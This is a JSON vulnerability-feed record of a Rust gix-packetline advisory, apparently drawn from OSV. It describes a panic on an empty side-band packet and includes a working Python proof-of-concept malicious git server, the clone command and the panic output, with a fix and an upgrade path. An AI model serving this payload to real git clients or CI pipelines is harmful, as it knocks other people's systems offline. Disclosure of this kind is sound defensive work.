{"id":"CVE-2026-82250","aliases":["GHSA-2vh6-hw4j-32ww"],"title":"gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)","summary":"gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)","severity":"medium","cvss":6.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","vendor":"gix-packetline","product":"gix-packetline","ecosystem":"rust","affected":["gix-packetline < 0.21.5"],"patched":["gix-packetline 0.21.5"],"published":"2026-08-28","updated":"2026-08-29","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-2vh6-hw4j-32ww","references":[{"url":"https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-2vh6-hw4j-32ww"},{"url":"https://github.com/GitoxideLabs/gitoxide/pull/2638"},{"url":"https://github.com/GitoxideLabs/gitoxide/commit/4bef04ae8a261634200b3a6faabdd77e25aeb8c1"},{"url":"https://github.com/GitoxideLabs/gitoxide"},{"url":"https://github.com/GitoxideLabs/gitoxide/releases/tag/gix-packetline-v0.21.5"}],"tags":["osv","rust"],"epss":0.00235,"epssPercentile":0.14729,"ingestedAt":"2026-08-29T19:29:15.672Z","slug":"CVE-2026-82250","body":"## Overview\n\n### Summary\n`gix-packetline` panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the `gix` client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.\n\n### Details\nIn `gix-packetline/src/lib.rs`, `impl From<&[u8]> for TextRef` strips a trailing newline with `d[d.len() - 1]`:\nhttps://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199\nWhen `d` is empty (an empty side-band payload after the band-id byte is removed), `d.len() - 1` underflows `usize` (to `18446744073709551615`, i.e. `0 - 1`) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.\n\n(Related: an unchecked `split_at_mut` in `gix-packetline/src/blocking_io/read.rs` is in the same DoS class and worth hardening in the same pass.)\n\n### PoC\nConfirmed against `gix v0.54.0` (crate `gix-packetline 0.21.4`) and current `main`.\n\n1. Run a minimal malicious git server on `127.0.0.1:9418`. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes `0005` + `0x02` - a side-band line of length 5 whose content is the single band-id byte `0x02` with an EMPTY payload:\n\n```python\nimport socket\nHOST, PORT = \"127.0.0.1\", 9418\ndef pkt(d): return (\"%04x\" % (len(d)+4)).encode() + d\nFLUSH=b\"0000\"; OID=b\"1234567890123456789012345678901234567890\"\ndef handle(c):\n    c.recv(65536)\n    c.sendall(pkt(b\"version 2\\n\")+pkt(b\"agent=git/evil\\n\")+pkt(b\"ls-refs=unborn\\n\")\n              +pkt(b\"fetch=shallow wait-for-done\\n\")+pkt(b\"object-format=sha1\\n\")+FLUSH)\n    buf=b\"\"; sent=False\n    while True:\n        d=c.recv(65536)\n        if not d: return\n        buf+=d\n        if b\"command=ls-refs\" in buf and not sent:\n            c.sendall(pkt(OID+b\" HEAD symref-target:refs/heads/master\\n\")\n                      +pkt(OID+b\" refs/heads/master\\n\")+FLUSH); sent=True; buf=b\"\"; continue\n        if b\"command=fetch\" in buf and (buf.rstrip().endswith(b\"0000\") or b\"done\" in buf):\n            c.sendall(pkt(b\"packfile\\n\") + b\"0005\\x02\")   # band id 2, EMPTY payload\n            try: c.recv(4096)\n            except Exception: pass\n            return\ns=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)\ns.bind((HOST,PORT)); s.listen(1); print(\"listening\",PORT)\nconn,_=s.accept(); conn.settimeout(5.0)\ntry: handle(conn)\nfinally: conn.close(); s.close()\n```\n\n2. Point the real client at it:\n```\nRUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out\n```\n\nObserved:\n```\nthread 'main' panicked at gix-packetline/src/lib.rs:199:20:\nindex out of bounds: the len is 0 but the index is 18446744073709551615\nexit code: 101\n```\n### Impact\nA pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using `gix` / `gix-packetline` crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.\n\n### Suggested fix\nGuard the empty-slice case instead of indexing unconditionally, e.g. `let d = d.strip_suffix(b\"\\n\").unwrap_or(d);`, or check `!d.is_empty()` / `d.last() == Some(&b'\\n')` before slicing.\n\n## Affected packages\n\n- `gix-packetline < 0.21.5`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `gix-packetline 0.21.5`","depth":"sunlit","depthScore":36,"depthScoreParts":{"impact":35.8,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}